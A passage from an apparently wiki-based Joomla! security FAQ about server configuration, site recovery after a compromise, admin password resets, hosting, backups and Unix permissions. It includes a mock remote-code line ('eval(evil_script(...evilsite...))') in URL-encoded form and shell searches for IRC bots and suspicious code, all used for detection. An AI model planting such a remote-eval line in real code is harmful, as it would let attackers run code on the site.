echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]

[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T22:35:10Z

Cadrlp: /* How do I choose a quality hosting provider? */ link says its against rules to promote your own hosting service, or advertise on these forums. Links JRD (Joomla! Resources Directory-hosting section)

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Consider recommendations:''' Check this [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts].

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

